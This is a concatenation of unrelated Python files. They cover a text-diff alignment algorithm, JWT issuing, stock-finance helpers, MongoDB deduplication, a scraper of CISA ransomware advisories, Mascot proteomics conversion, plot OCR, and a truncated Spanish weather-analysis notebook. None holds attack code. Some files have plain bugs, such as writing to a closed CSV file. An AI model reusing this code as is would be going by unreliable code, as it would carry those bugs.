import re
import sys
import six

if six.PY2:
    from aenum import Enum
else:
    from enum import Enum

Console = sys.stdout

class Trace(Enum):
    STOP = 1
    DIAG = 2
    UP = 3
    LEFT = 4

def matrix(left, right):
    if left == right:
        if left[0] == ' ':
            return (0, 2)
        return (0, 1)
    if '\n' in left:
        if '\n' in right:
            return (1, 8)
        return (1, -200)
    elif '\n' in right:
        return (1, -200)
    return (1, -100)

def ComputeEdits(leftArray, rightArray):

    trace = {}
    S = len(leftArray)
    T = len(rightArray)

    # skip over matching at the front
    minLength = min(S, T)
    opStart = ['equal', 0, minLength, 0, minLength]
    rangeStart = 0
    for i in range(minLength):
        rangeStart = i
        if leftArray[i] != rightArray[i]:
            opStart[2] = i
            opStart[4] = i
            break

    if opStart[2] == minLength and minLength == S and minLength == T:
        return [opStart]

    rangeEnd = 0
    opEnd = ['equal', S, S, T, T]
    for i in range(1, minLength-rangeStart-1):
        if leftArray[-i] != rightArray[-i]:
            rangeEnd = i - 1
            opEnd[1] = S-i + 1
            opEnd[3] = T-i + 1
            break

    leftIndex = [i for i in range(rangeStart, len(leftArray)-rangeEnd)]
    rightIndex = [i for i in range(rangeStart, len(rightArray)-rangeEnd)]
    # leftIndex = [ i for i in range(rangeStart, len(leftArray)-rangeEnd)
    #               if leftArray[i] != ' ' ]
    # rightIndex = [ i for i in range(rangeStart, len(rightArray)-rangeEnd)
    #                if rightArray[i] != ' ' ]
    leftIndex.insert(0, 0)
    rightIndex.insert(0, 0)

    S = len(leftIndex)
    T = len(rightIndex)

    gap = 10
    o = gap   # gap
    e = 3     # extend
    maxNegValue = - 655465

    v = {}
    vDiagonal = 0    # best score in cell
    f = maxNegValue  # score from diagonal
    h = maxNegValue  # best score ending with gap from left
    g = {}           # best score ending with gap from above
    g[0] = f
    for i in range(1, T):
        v[i] = -o - (i-1)*e
        g[i] = maxNegValue

    lengthOfHorizontalGap = 0
    lengthOfVerticalGap = {}

    maximumScore = maxNegValue

    trace[0, 0] = Trace.STOP
    for i in range(1, S):
        trace[i, 0] = Trace.UP

    for i in range(1, T):
        trace[0, i] = Trace.LEFT

    #  Fill in the matrices
    for i in range(1, S):   # for all rows
        v[0] = -o - (i - 1) * e

        # Console.write(str(i))
        # Console.write(": \n")
        left = leftArray[leftIndex[i]]

        for j in range(1, T):  # for all columns
            right = rightArray[rightIndex[j]]

            simularityScore = matrix(left, right)

            f = vDiagonal + simularityScore[1]

            # which cell from the left?
            if h - e >= v[j-1] - o:
                h -= e
                lengthOfHorizontalGap += simularityScore[0]
            else:
                h = v[j-1] - o
                lengthOfHorizontalGap = 1

            # which cell from above?
            if g[j] - e >= v[j] - o:
                g[j] = g[j] - e
                lengthOfVerticalGap[j] = lengthOfVerticalGap[j] + simularityScore[0]
            else:
                g[j] = v[j] - o
                lengthOfVerticalGap[j] = 1

            vDiagonal = v[j]
            v[j] = max(f, g[j], h)  # get best score
            if v[j] > maximumScore:
                maximumScore = v[j]

            if v[j] == f:
                trace[i, j] = Trace.DIAG
            elif v[j] == g[j]:
                trace[i, j] = Trace.UP
                # lengths[l] = lengthOfVerticalGap[j]
            else:
                trace[i, j] = Trace.LEFT
                # lengths[l] = lengthOfHorizontalGap

        # PrintLine(i, T, v, g, lengthOfVerticalGap, trace)

        # Reset
        h = maxNegValue
        vDiagonal = 0
        lengthOfHorizontalGap = 0
        # Console.write("\n")

    # Console.write("\n")
    # for i in range(S):
    #    Console.write(str(i))
    #    Console.write(": ")
    #    for j in range(T):
    #        if trace[i,j] == Trace.LEFT:
    #            Console.write('L')
    #        elif trace[i,j] == Trace.UP:
    #            Console.write('U')
    #        elif trace[i,j] == Trace.DIAG:
    #            Console.write('D')
    #        elif trace[i,j] == Trace.STOP:
    #            Console.write('S')
    #        else:
    #            Console.write('X')
    #        Console.write(" ")
    #    Console.write("\n")

    i = S - 1
    j = T - 1

    # val = d[i, j]
    ops = []
    leftIndex.append(leftIndex[-1]+1)
    rightIndex.append(rightIndex[-1]+1)
    ops = []

    op = opEnd
    op2 = None

    stillGoing = True
    while stillGoing:
        if trace[i, j] == Trace.UP:
            op1 = ['remove', leftIndex[i], leftIndex[i+1], rightIndex[j+1], rightIndex[j+1]]
            i -= 1
        elif trace[i, j] == Trace.LEFT:
            op1 = ['insert', leftIndex[i+1], leftIndex[i+1], rightIndex[j], rightIndex[j+1]]
            j -= 1
        elif trace[i, j] == Trace.DIAG:
            if leftArray[leftIndex[i]] == rightArray[rightIndex[j]]:
                op1 = ['equal', leftIndex[i], leftIndex[i+1], rightIndex[j], rightIndex[j+1]]
            else:
                op1 = ['remove', leftIndex[i], leftIndex[i+1], rightIndex[j+1], rightIndex[j+1]]
                op2 = ['insert', leftIndex[i+1], leftIndex[i+1], rightIndex[j], rightIndex[j+1]]
            i -= 1
            j -= 1
        else:
            stillGoing = False
            ops.append(op)
            break

        if op2:
            if op2[0] == op[0]:
                op[1] = op2[1]
                op[3] = op2[3]
            elif op1[0] == op[0]:
                op[1] = op1[1]
                op[3] = op1[3]
                op1 = op2
            else:
                ops.append(op)
                op = op2
            op2 = None

        if op1[0] == op[0]:
            op[1] = op1[1]
            op[3] = op1[3]
        else:
            ops.append(op)
            op = op1

    # ops.append(op)
    ops.append(opStart)
    ops = list(ops)
    ops.reverse()

    # Console.write("Pre compression\n")
    # for op in ops:
    #     Console.write("%s %2d %2d %2d %2d '%s' '%s'\n" % (op[0], op[1], op[2], op[3], op[4],
    #           ''.join(leftArray[op[1]:op[2]]), ''.join(rightArray[op[3]:op[4]])))
    ops = CompressEdits(ops, leftArray, rightArray)

    return ops

def PrintLine(i, T, v, g, lengthOfVerticalGap, trace):
    Console.write("i={0:3d}".format(i))
    for j in range(1, T):
        Console.write("{0:3d} ".format(v[j]))
    Console.write("\n")

    for j in range(1, T):
        Console.write("{0:3d} ".format(g[j]))
    Console.write("\n")

    for j in range(1, T):
        Console.write("{0:3d} ".format(lengthOfVerticalGap[j]))
    Console.write("\n")

    for j in range(1, T):
        if trace[i, j] == Trace.LEFT:
            ch = 'L'
        elif trace[i, j] == Trace.UP:
            ch = 'U'
        elif trace[i, j] == Trace.DIAG:
            ch = 'D'
        elif trace[i, j] == Trace.STOP:
            ch = 'S'
        else:
            ch = ' '
        Console.write("  {0} ".format(ch))
    Console.write("\n")

    Console.write("\n")

def DoWhiteArray(text):
    result = []
    #  At some point I want to split whitespace with
    #  CR in them to multiple lines
    for right in re.split(r'([\s\xa0=]+)', text, flags=re.UNICODE):
        if len(right) == 0:
            continue
        if right.isspace():
            lastCh = '*'
            for ch in right:
                if ch == ' ':
                    if lastCh != ' ':
                        result.append(ch)
                else:
                    result.append(ch)
                lastCh = ch
        else:
            result.append(right)
    return result

def CompressEdits(ops, leftArray, rightArray):
    opsNew = []
    left = None
    right = None

    for i in range(len(ops)):
        if ops[i][0] == 'remove':
            if leftArray[ops[i][1]][0] == '\n' and right is not None:
                opsNew.append(right)
                right = None
            if left is not None:
                left[2] = ops[i][2]
            else:
                left = ops[i]
        elif ops[i][0] == 'insert':
            if rightArray[ops[i][3]][0] == '\n' and left is not None:
                opsNew.append(left)
                left = None
            if right is not None:
                right[4] = ops[i][4]
            else:
                right = ops[i]
        else:
            if ops[i][2] - ops[i][1] == 1 and \
               (leftArray[ops[i][1]] == u' ' or leftArray[ops[i][1]] == u'\xa0') and \
               i+1 < len(ops) and ops[i+1][0] != 'equal' and not (left is None and right is None):
                if left is not None:
                    left[2] = ops[i][2]
                else:
                    left = ['remove', ops[i][1], ops[i][2], ops[i][3], ops[i][4]]
                if right is not None:
                    right[4] = ops[i][4]
                else:
                    right = ['insert', ops[i][1], ops[i][2], ops[i][3], ops[i][4]]
            else:
                if left is not None:
                    opsNew.append(left)
                    left = None
                if right is not None:
                    opsNew.append(right)
                    right = None
                opsNew.append(ops[i])

    if left is not None:
        opsNew.append(left)
    if right is not None:
        opsNew.append(right)

    return opsNew

if __name__ == '__main__':
    old = " attr1=\"value2\""
    new = " attr1=\"value1\""

    leftArray = DoWhiteArray(old)
    rightArray = DoWhiteArray(new)

    ops = ComputeEdits(leftArray, rightArray)

    for op in ops:
        Console.write("%s %2d %2d %2d %2d '%s' '%s'\n" %
                      (op[0], op[1], op[2], op[3], op[4],
                       ''.join(leftArray[op[1]:op[2]]), ''.join(rightArray[op[3]:op[4]])))

    Console.write("**********************************************\n")

    old = "This is\xa0a\xa0message\nwith one change"
    new = "This is\xa0a message with\ntwo change"
    leftArray = DoWhiteArray(old)
    rightArray = DoWhiteArray(new)

    ops = ComputeEdits(leftArray, rightArray)

    for op in ops:
        Console.write("%s %2d %2d %2d %2d '%s' '%s'\n" %
                      (op[0], op[1], op[2], op[3], op[4],
                       ''.join(leftArray[op[1]:op[2]]), ''.join(rightArray[op[3]:op[4]])))

    Console.write("**********************************************\n")

    old = "This document specifies Elliptic Curve constructs using the curve25519"
    new = "This document specifies elliptic curve constructs using the curve25519"
    leftArray = DoWhiteArray(old)
    rightArray = DoWhiteArray(new)

    ops = ComputeEdits(leftArray, rightArray)

    for op in ops:
        Console.write("%s %2d %2d %2d %2d '%s' '%s'\n" %
                      (op[0], op[1], op[2], op[3], op[4], ''.join(leftArray[op[1]:op[2]]),
                       ''.join(rightArray[op[3]:op[4]])))

    Console.write("**********************************************\n")

    old = "This document specifies algorithm identifiers and ASN.1 encoding formats for " + \
          "Elliptic Curve constructs using the curve25519 and curve448 curves. <!--\xa0" + \
          "Remove\xa0ph\n\xa0The\xa0signature\xa0algorithms\xa0covered\xa0are\xa0Ed25519," + \
          "\xa0Ed25519ph,\xa0Ed448\xa0and\xa0Ed448ph.\n-->\nThe signature algorithms covered" + \
          " are Ed25519 and Ed448. The key agreement algorithm covered are X25519 and X448." + \
          " The encoding for Public Key, Private Key and EdDSA digital signature structures " + \
          "is provided."

    new = "This document specifies algorithm identifiers and ASN.1 encoding formats for " + \
          "elliptic curve constructs using the curve25519 and curve448 curves.  The signature " + \
          "algorithms covered are Ed25519 and Ed448.  The key agreement algorithms covered are " + \
          "X25519 and X448.  The encoding for public key, private key, and Edwards-curve" + \
          " Digital Signature Algorithm (EdDSA) structures is provided."

    leftArray = DoWhiteArray(old)
    rightArray = DoWhiteArray(new)

    ops = ComputeEdits(leftArray, rightArray)

    for op in ops:
        Console.write("%s %2d %2d %2d %2d '%s' '%s'\n" %
                      (op[0], op[1], op[2], op[3], op[4],
                       ''.join(leftArray[op[1]:op[2]]), ''.join(rightArray[op[3]:op[4]])))

    Console.write("**********************************************\n")
    old = "The encoding for Public Key, Private Key and EdDSA digital signature structures " + \
          "is provided."
    new = "The encoding for public key, private key, and Edwards-curve Digital Signature " + \
          "Algorithm (EdDSA) structures is provided."
    leftArray = DoWhiteArray(old)
    rightArray = DoWhiteArray(new)

    ops = ComputeEdits(leftArray, rightArray)

    for op in ops:
        Console.write("%s %2d %2d %2d %2d '%s' '%s'\n" %
                      (op[0], op[1], op[2], op[3], op[4],
                       ''.join(leftArray[op[1]:op[2]]), ''.join(rightArray[op[3]:op[4]])))

    Console.write("**********************************************\n")

    old = "In <xref target=\"RFC8032\"/> the elliptic curve signature system Edwards-curve " + \
          "Digital Signature Algorithm (EdDSA) is described along with a recommendation for " + \
          "the use of the curve25519 and curve448. EdDSA has defined two modes, the PureEdDSA " + \
          "mode without pre-hashing, and the HashEdDSA mode with pre-hashing.\n<!--\xa0Remove" + \
          "\xa0pre-hash\nThe\xa0Ed25519ph\xa0and\xa0Ed448ph\xa0algorithm\xa0definitions\xa0s" + \
          "pecify\xa0the\xa0one-way\xa0hash\xa0function\xa0that\xa0is\xa0used\xa0for\xa0pre-" + \
          "hashing.\nThe\xa0convention\xa0used\xa0for\xa0identifying\xa0the\xa0algorithm/curve" + \
          "\xa0combinations\xa0are\xa0to\xa0use\xa0the\xa0Ed25519\xa0and\xa0Ed448\xa0for\xa0the" + \
          "\xa0PureEdDSA\xa0mode,\xa0with\xa0Ed25519ph\xa0and\xa0Ed448ph\xa0for\xa0the\xa0" + \
          "HashEdDSA\xa0mode.\n-->\nThe convention used for identifying the algorithm/curve " + \
          "combinations is to use \"Ed25519\" and \"Ed448\" for the PureEdDSA mode. The " + \
          "document " + \
          "does not provide the conventions needed for the pre-hash versions of the signature " + \
          "algorithm. The use of the OIDs is described for public keys, private keys and " + \
          "signatures."
    new = "In <xref target=\"RFC8032\"/> the elliptic curve signature system Edwards-curve " + \
          "Digital Signature Algorithm (EdDSA) is described along with a recommendation for " + \
          "the use of the curve25519 and curve448.  EdDSA has defined two modes: the PureEdDSA " + \
          "mode without prehashing and the HashEdDSA mode with prehashing.  The convention " + \
          "used for identifying the algorithm/curve combinations is to use \"Ed25519\" and " + \
          "\"Ed448\" for the PureEdDSA mode.  This document does not provide the conventions " + \
          "needed for the prehash versions of the signature algorithm.  The use of the OIDs is " + \
          "described for public keys, private keys and signatures."

    leftArray = DoWhiteArray(old)
    rightArray = DoWhiteArray(new)
    ops = ComputeEdits(leftArray, rightArray)
    for op in ops:
        Console.write("%s %2d %2d %2d %2d '%s' '%s'\n" %
                      (op[0], op[1], op[2], op[3], op[4],
                       ''.join(leftArray[op[1]:op[2]]), ''.join(rightArray[op[3]:op[4]])))


"""JWT module.

"""
import datetime
import json
from time import time
from uuid import uuid4

from authlib.jose import jwt

from .config import JWT_ALGORITHM, JWT_ISSUER, JWT_SHARED_SECRET

def get_bytes_secret(hex_encoded_secret: str = str(JWT_SHARED_SECRET)) -> bytes:
    """Get bytes for configured hexadecimal encoded secret.

    """
    return bytes.fromhex(hex_encoded_secret)

def issue_jwt_for_user_and_date(
    user: str,
    date: datetime.date,
    issuer: str = str(JWT_ISSUER),
    timestamp: int = int(time()),
    secret: bytes = get_bytes_secret(),
) -> bytes:
    """Issue JWT for given user and date.

    """
    header = {"alg": JWT_ALGORITHM}
    payload_claim = json.dumps({"user": user, "date": date.isoformat()})
    payload = {
        "iss": issuer,
        "iat": timestamp,
        "jti": uuid4().hex,
        "payload": payload_claim,
    }
    return bytes(jwt.encode(header, payload, secret))


from tkinter import *
from PIL import ImageTk,Image
import requests
import yfinance as yf

def stk_img(ticker):
	stck=yf.Ticker(ticker)
	img_src=stck.info['logo_url']
	response = requests.get(img_src)
	file=open('stockimg.png','wb')
	file.write(response.content)
	file.close()
def comma(arg):
   i=0
   r=0
   end_r=""
   result=str(arg).strip()
   result=list(result)

   for x in result:

	   if r==-3 :

	    	result.insert(i, ",")

	   elif r < -3:
	    	r=0
	   i-=1
	   r-=1

   for y in result:
	   end_r+= y
   end_r += "$"
   return end_r
def discounted_cashf(exp_cf, perc, yr):
	    translation=""
	    perc=perc/100
	    result= int(exp_cf/(1+ perc)**yr)
	    return result
def investment(whole, percentage, time, contribution=0):
	contribution=int(contribution)
	whole=int(whole)
	time=int(time)
	percentage=float(percentage)
	percentage=percentage/100
	for x in range(time):
		whole=whole*(1+percentage)
		whole+=contribution
	return comma(int(whole))
class stck_db:
	def add(dta):
		data=open('log.txt','a')
		data.write(f"{dta.upper()} ")
		data.close()
	def r():
	    data=open('log.txt','r')
	    print(data.readlines())
	    data.close()
	def clear_all():
	    data=open('log.txt','w+')
	    data.write('')
	    data.close()
	data=open('log.txt','r')
	data_=''
	for x in data:
	    data_+=x
	data.close()
	current_data=data_.split()
def figures(answer):
	    counter=0
	    for x in answer:
	        if x==',':
	           counter+=1
	    if counter==1:
	       figure=f"{answer} Thousand"
	    elif counter==2:
	       figure=f"{answer} Million"
	    elif counter==3:
	       figure=f"{answer} Billion"
	    elif counter==4:
	       figure=f"{answer} Trillion"
	    return figure


from pymongo import MongoClient
from similarity import get_similarity

client = MongoClient()
db = client.mydb
content = db.content
similar_to=[]
temp = 0

def similarity_matcher(final_article,url):
    flag=0
    if content.count()==0:
        print("hello")
    else:
        for i in content.find():
            db_url=str(i['url'])
            article=str(i['article'])
            post_id=str(i["_id"])

            if db_url != url:
                sim_value=get_similarity(final_article,article)
                print (sim_value)
                if sim_value>=.3:
                    similar_to.append(post_id)
                    flag=1
            else:
                return 1

def insertion(category,url,final_article4):
    temp_2 = similarity_matcher(final_article4,url)

    if(temp_2==1):
        print ("Article already exists in database")
    else:
        post = {"category": category,
                "url": url,
                "article": final_article4,
                "similar to": similar_to}

        content.insert_one(post)


#importing the libraries
import requests
from bs4 import BeautifulSoup
import csv

#assigning the main url to scrape to find sub-urls which starts with #StopRansomware
url = 'https://www.cisa.gov/uscert/ncas/alerts?page=0'

#sending the get request to the url
response = requests.get(url)

#parsing the html content with BeautifulSoup Library
soup  = BeautifulSoup(response.content, 'html.parser')

#Creating two empty lists to append the data
technical_title = []
Use = []
urls = []

#finding the links using the html parser which has a class of 'views-field views-field-title'
alerts = soup.findAll('div', {'class': 'views-field views-field-title'})

#Opened the csv file
with open('research.csv', 'w', newline = '') as file:
    #creating the csv writer object
    writer = csv.writer(file)
    #writitng the header row to the csv file
    writer.writerow(['Techniqual_title', 'Use'])

#iterating over the urls under the main url
for alert in alerts:
    #striping and changing into text to remove all the space beforew and after
    alert_text = alert.text.strip()
    #slicing the texts with ':' to make it into list and to identify if the folllowing text has #StopRansomware or not
    parts = alert_text.split(':')
    #Checking if the text has #StopRansomware or not
    if parts[1].strip().startswith('#StopRansomware'):
        #extracting the link of the texts which has #StopRansomware in it
        link = alert.find('a')['href']
        #creating the list of new urls taht has #StopRansomware in it
        new_url = 'https://cisa.gov/uscert'+link
        #appending it to the new_url list
        urls.append(new_url)

#iterating over the url/pages that has #StopRansomware in it
for x in urls:
    #sending the get request to the url
    r = requests.get(x)
    #parsing the html content with BeautifulSoup Library
    soup = BeautifulSoup(r.content, 'html.parser')
    #finding the links using the html parser which has a class of 'Table'
    table = soup.findAll('table', {'class': 'Table'})
    #iterating over the each lines in table
    for name in table:
        Techniqual_title = name.tr.td.p.span.text
        Use = name.tr.td.p.span.text
        technical_title.append(Techniqual_title)
        writer.writerow([technical_title, Use])
        pass


#!/usr/bin/env python
import pickle
import ursgal
import sys
import re
import os
from collections import defaultdict as ddict
from urllib.parse import unquote
import pprint
import re
import json

regexs_for_non_standard_mgfs = {
    "cz": re.compile(
        r"""
        msmsid:F(?P<spec_id>[0-9]*),
        quan:(?P<quant>[0-9]*),
        start:(?P<rt_start_in_seconds>\d*\.\d+|\d+),
        end:(?P<rt_end_in_seconds>\d*\.\d+|\d+),
        survey:S(?P<survey>[0-9]*),
        parent:(?P<precursor_mz>\d*\.\d+|\d+),
    """,
        re.VERBOSE,
    )
}

def add_mascot_to_ursgal_history(file):
    """Add Mascot to history.

    Args:
        mapped_csv_search_results (str): Path to mapped search results.
    """
    mapped_json = "{0}.u.json".format(file)
    iinfo, oinfo, params, history = json.load(open(mapped_json))
    mascot_missing = True
    for entry in history["history"]:
        engine_type = entry["META_INFO"].get("engine_type", {})
        is_search_engine = engine_type.get("protein_database_search_engine", False)
        if is_search_engine and "mascot" in entry["engine"]:
            mascot_missing = False

    if mascot_missing:
        history["history"].insert(
            0,
            {
                "META_INFO": {
                    "engine_type": {
                        "protein_database_search_engine": True,
                        "by Hand": True,
                    }
                },
                "engine": "mascot_x_x_x",
            },
        )
        with open(mapped_json, "w") as d:
            json.dump([iinfo, oinfo, params, history], d)

def write_ursgal_pkl_from_mascot_dat(mascot_data_file):
    """
    Write ursgal pickle from mascot dat files

    Args:
        mascot_data_file (str): Path to mascot dat file for pickle generation.

    Returns:
        str: Path to the generated pickle file.
    """
    # rt_regex = re.compile(r'^.*rt\:(?P<rt>\d+\.\d+),.*')

    pattern = re.compile(
        r'Content-Type: application/x-Mascot; name="(?P<section>[a-z0-9]*)"'
    )

    mascot_dat_base = os.path.basename(mascot_data_file)
    pkl_path = os.path.join(os.path.dirname(mascot_data_file), f"_ursgal_lookup.pkl")

    sections = ddict(list)
    current_section = None
    with open(mascot_data_file) as mascot_file:
        for line in mascot_file:
            if line.strip() == "":
                continue
            match = pattern.match(line)
            if match is not None:
                current_section = match.group("section")
            else:
                sections[current_section].append(line.strip())

    for f in sections["parameters"]:
        if f.startswith("FILE"):
            full_fname = f.split("=")[1]

            fname = os.path.splitext(os.path.basename(full_fname))[0]
            break
    dat_basename, ext = os.path.splitext(mascot_dat_base)

    if os.path.exists(pkl_path):
        t = pickle.load(open(pkl_path, "rb"))
    else:
        t = {}
    if fname not in t:
        t.update(
            {
                fname: {
                    "rt_2_scan": {},
                    "scan_2_rt": {},
                    "unit": "seconds",
                    "scan_2_mz": {},
                }
            }
        )

    query_dict = {}
    for entry in sections:
        if entry is not None:
            if entry.startswith("query"):
                for key in sections[entry]:
                    if "=" in key:
                        k, v = key.split("=")
                        query_dict[k] = v
                title = query_dict["title"]
                try:
                    path, spec_id, spec_id, charge = title.split(".")
                except:
                    path = os.path.basename(fname)
                    unqstring = unquote(title)
                    charge = int(query_dict["charge"].replace("+", ""))
                    for _id, pattern in regexs_for_non_standard_mgfs.items():
                        m = pattern.match(unqstring)
                        if m is not None:
                            spec_id = int(m.group("spec_id"))

                            query_dict["rtinseconds"] = float(
                                m.group("rt_start_in_seconds")
                            )
                            query_dict["precursor_mz"] = m.group("precursor_mz")
                            break

                rt = query_dict["rtinseconds"]
                t[fname]["rt_2_scan"][float(rt)] = int(spec_id)
                t[fname]["scan_2_rt"][int(spec_id)] = float(rt)
                t[fname]["scan_2_mz"][int(spec_id)] = float(query_dict["precursor_mz"])
    with open(pkl_path, "wb") as pkl:
        pickle.dump(t, pkl)
    return pkl_path

def main(input_file, database):
    """
    Usage:

    ./unify_mascot_dat.py <mascot dat file> <database>

    Note:
        Modifications are hard coded so please adjust accordingly
    """
    uc = ursgal.UController()
    uc.params["database"] = database
    uc.params["modifications"] = [
        "C,fix,any,Carbamidomethyl",
        "*,opt,Prot-N-term,Acetyl",
        "M,opt,any,Oxidation",
        "*,opt,N-term,TMT6plex",
        "K,fix,any,TMT6plex",
    ]
    uc.params["csv_filter_rules"] = [
        ["Sequence", "contains_not", "X"],
        # ['PEP', 'lte', 0.01],
    ]
    uc.params["decoy_tag"] = "###REV###"
    uc.scan_rt_lookup_path = write_ursgal_pkl_from_mascot_dat(input_file)
    converted_unfiltered = uc.execute_unode(input_file, engine="mascot_dat2csv")
    converted = uc.execute_misc_engine(
        input_file=converted_unfiltered, engine="filter_csv"
    )
    mapped = uc.map_peptides_to_fasta(converted)
    add_mascot_to_ursgal_history(mapped)
    unified = uc.unify_csv(mapped)
    print(unified)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(main.__doc__)
    else:
        main(sys.argv[1], sys.argv[2])


from pytesseract import pytesseract
import numpy
from masks import Masks
import cv2
import constants
import re
import shutil
import requests

def convert_plot_to_curve_and_y_axis(img):
    # returns arrays with data
    masks = Masks(img)
    height, width, channels = img.shape
    grid_img = numpy.where(masks.plot_grid_mask(), 255, 0).astype(numpy.uint8).copy()
    _, contours, _ = cv2.findContours(grid_img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)

    curve_img = numpy.where(masks.plot_curve_mask(), 255, 0)
    biggest_contur = [0, 0]
    for i in range(len(contours)):
        area = cv2.contourArea(contours[i])
        if area > biggest_contur[0]:
            biggest_contur[0] = area
            biggest_contur[1] = contours[i]

    x, y, w, h = cv2.boundingRect(biggest_contur[1])

    start_grid_x = 0
    end_grid_x = 0
    for index, y_axis_array in enumerate(numpy.transpose(grid_img)):
        try:
            if list(y_axis_array).index(255):
                if not start_grid_x:
                    start_grid_x = index
                end_grid_x = index
        except ValueError:
            continue
    start_grid_y = 0
    end_grid_y = 0
    for index, y_axis_array in enumerate(grid_img):
        try:
            if list(y_axis_array).index(255):
                if not start_grid_y:
                    start_grid_y = index
                end_grid_y = index
        except ValueError:
            continue

    curve_img = curve_img[start_grid_y:end_grid_y, start_grid_x:end_grid_x]
    y_axis = img[:, 0:start_grid_x]
    masks = Masks(y_axis)
    # replace blue color with pink
    y_axis[numpy.where(masks.axis_digits_mask())] = constants.PINK_ARRAY
    y, x, d = y_axis.shape
    # make new image with black background
    image = numpy.zeros((y, x*3, 3), numpy.uint8)
    image[:] = constants.BLACK_TUPLE
    M = numpy.float32([[1, 0, x], [0, 1, 0]])
    # using above translation matrix , we shift the image to 20 pixel right and 0 pixel to down
    shifted = cv2.warpAffine(y_axis, M, (image.shape[1], image.shape[0]))  # we get shifted image

    # remove black places after move image
    masks = Masks(shifted)
    shifted[numpy.where(masks.black_mask())] = constants.WHITE_ARRAY
    shifted[numpy.where(masks.plot_curve_mask())] = constants.WHITE_ARRAY
    shifted[numpy.where(masks.pink_mask())] = constants.BLACK_ARRAY
    scale = 150000/(height*width)*constants.RESIZE_SCALE
    shifted = cv2.resize(shifted, (0, 0), fx=scale, fy=scale)
    y_axis = extract_y_axis_values(shifted)
    return curve_img, y_axis

def extract_y_axis_values(image):
    test_str = pytesseract.image_to_string(image, config='--oem 2 --psm 6')
    y_numbers = []
    regex = r"[0-9\-\.]+"
    matches = re.finditer(regex, test_str, re.MULTILINE)

    for matchNum, match in enumerate(matches):
        y_numbers.append(float(match.group()))
    # reject outliers from a list Standard deviation
    m = 2
    numbers = []
    for index, not_error_value in enumerate(abs(y_numbers - numpy.mean(y_numbers)) < m * numpy.std(y_numbers)):
        if not_error_value:
            numbers.append(y_numbers[index])
    return numbers

def get_plot(url, file_name):
    session = requests.session()
    r = session.get(url, stream=True)

    if r.status_code == 200:
        with open(file_name, 'wb') as f:
            r.raw.decode_content = True
            shutil.copyfileobj(r.raw, f)


#!/usr/bin/env python
# coding: utf-8

# # **Proyecto final Data Science - Coderhouse - Juan Ignacio Szurlewicz**

# ## Título: Wheather prediction in Seattle

# El objetivo del presente proyecto es obtener mediante un set de datos de la ciudad de Seattle y un algoritmo de clasificación, un modelo que nos permita pronosticar de manera categórica el clima futuro, contemplando un conjunto de variables observadas.Título: Wheather prediction on Seattle

# El set de datos empleado se encuentra en http://kaggle.com, en el siguiente link :
# https://www.kaggle.com/datasets/ananthr1/weather-prediction

# # Data Acquisition

# Para la realización de la etapa de Data Acquisition se procedió a la búsqueda de un dataset que a travéz de variables claves, nos permita llegar a nuestra variable target propuesta. En este sentido, nos encontramos con el dataset de variables climatologicas de la ciudad de Seattle. El mismo, se encontraba en formato .CSV, es decir, de texto en columnas, clasificandose como un tipo de dato estructurado.

# Para la lectura del archivo utilizamos la libreria pandas que, a travéz del comando read_csv nos permite la carga de este tipo de archivos planos.

# In[355]:

import pandas as pd
import datetime as dt

# In[356]:

_df=pd.read_csv(r"C:\Users\Novix\Downloads\seattle-weather.csv")

# In[357]:

_df.head()

# Así, pudimos completar la lectura de nuestro dataset y a través del comando Head obtener los primeros 5 valores del conjunto de datos y observar, cuáles son nuestras variables consideradas. El siguiente paso es ir hacia el Data Wrangling, mediante el cuál haremos un descubrimiento mayor del conjunto de datos, su limpieza, estructuración y validación.

# # Data Wrangling

# La etapa del datawrangling consiste en la manipulación de los datos obtenidos en la etapa previa, de forma tal que sean más amigables y adecuados para su trabajo y para el logro del objetivo final. Dentro de esta etapa, iremos abarcando las distintas tareas del descubrimiento, estructuración, limpieza, enriquecimiento, validación y publicación.

# Comenzamos con la lectura del dataframe:

# In[358]:

_df.head() #Aquí identificamos a primera vista las variables que componen el set de datos

# In[359]:

_df.shape #Vemos el tamaño de nuestro dataset

# In[360]:

_df.isna().sum() #Analizamos si tenemos algun missing value en el set de datos

# In[361]:

_df.describe().T  #Obtenemos una visión general de las variables, con sus principales estadísticas descriptivas

# In[362]:

_df.dtypes #Aquí podemos ver los tipos de datos, vamos a pasar la variables date a datetime. El resto están bien asignadas

# In[363]:

_df['date'] = pd.to_datetime(_df['date'])

# In[364]:

_df.dtypes #Quedaron los tipos corregidos

# # Exploratory Data Analysis

# El exploratory data analysis consiste en una etapa que tiene como finalidad la exploración del conjunto de variables, de forma univariada como así tambien de forma bivariada y multivariada. Debemos comprender que representa cada una de ellas, si existen casos atípicos que puedan influir la consistencia de nuestro modelo antes de aplicar el mismo. Se deben preparar los datos para que los mismos representen de la forma más fiel el eje del problema en cuestión. Para ello, se realizan analisis gráficos en una primera instancia y luego analisis de medidas descriptivas. Si es necesario, se deben decidir cursos de acción para solucionar problemas como la presencia de missing values y valores outliers.

# In[365]:

#Importamos las librerias necesarias
import matplotlib.pyplot as plt
import seaborn as sns
from matplotlib.ticker import FormatStrFormatter
from plotly.subplots import make_subplots
import plotly.graph_objects as go
from seaborn import boxplot
from seaborn import violinplot
import numpy as np

# ### Análisis univariado de las variables consideradas

# #### 1) Wheater

# In[366]:

_df.weather.describe()

# In[367]:

sns.countplot(x=_df['weather'],palette='Spectral')

# In[368]:

frec = _df["weather"].value_counts()
Wheater_freq=pd.DataFrame(frec)
Wheater_freq=Wheater_freq.rename(columns={'weather':'Frecuencia Absoluta'})
Frec_abs_val = Wheater_freq["Frecuencia Absoluta"].values
acum = []
valor_acum = 0
for i in Frec_abs_val:
    valor_acum = valor_acum + i
    acum.append(valor_acum)

Wheater_freq["frec_abs_acum"] = acum
Wheater_freq["frec_rel_%"] = round(100 * Wheater_freq["Frecuencia Absoluta"]/len(_df.weather),4)
Frec_rel_val = Wheater_freq["frec_rel_%"].values
acum = []
valor_acum = 0
for i in Frec_rel_val:
    valor_acum = valor_acum + i
    acum.append(valor_acum)

Wheater_freq["frec_rel_%_acum"] = acum
Wheater_freq

# Por medio de la tabla de frecuencias podemos ver que entre la condición climática "lluvia" y "soleado" se presenta en casi 90% de los casos.

# #### 2) Precipitation

# Esta variable se encuentra en pulgadas

# In[369]:

_df.precipitation.describe().T

# In[370]:

boxplot(x=_df.precipitation, orient="Vertical")

# Como podemos observar, encontramos valores outliers superiores, pero lo atribuimos a la naturaleza de la variable precipitación, ya que se trata de un fenómeno natural que puede presentar eventos disruptivos que no siguen una distribución normal.

# In[371]:

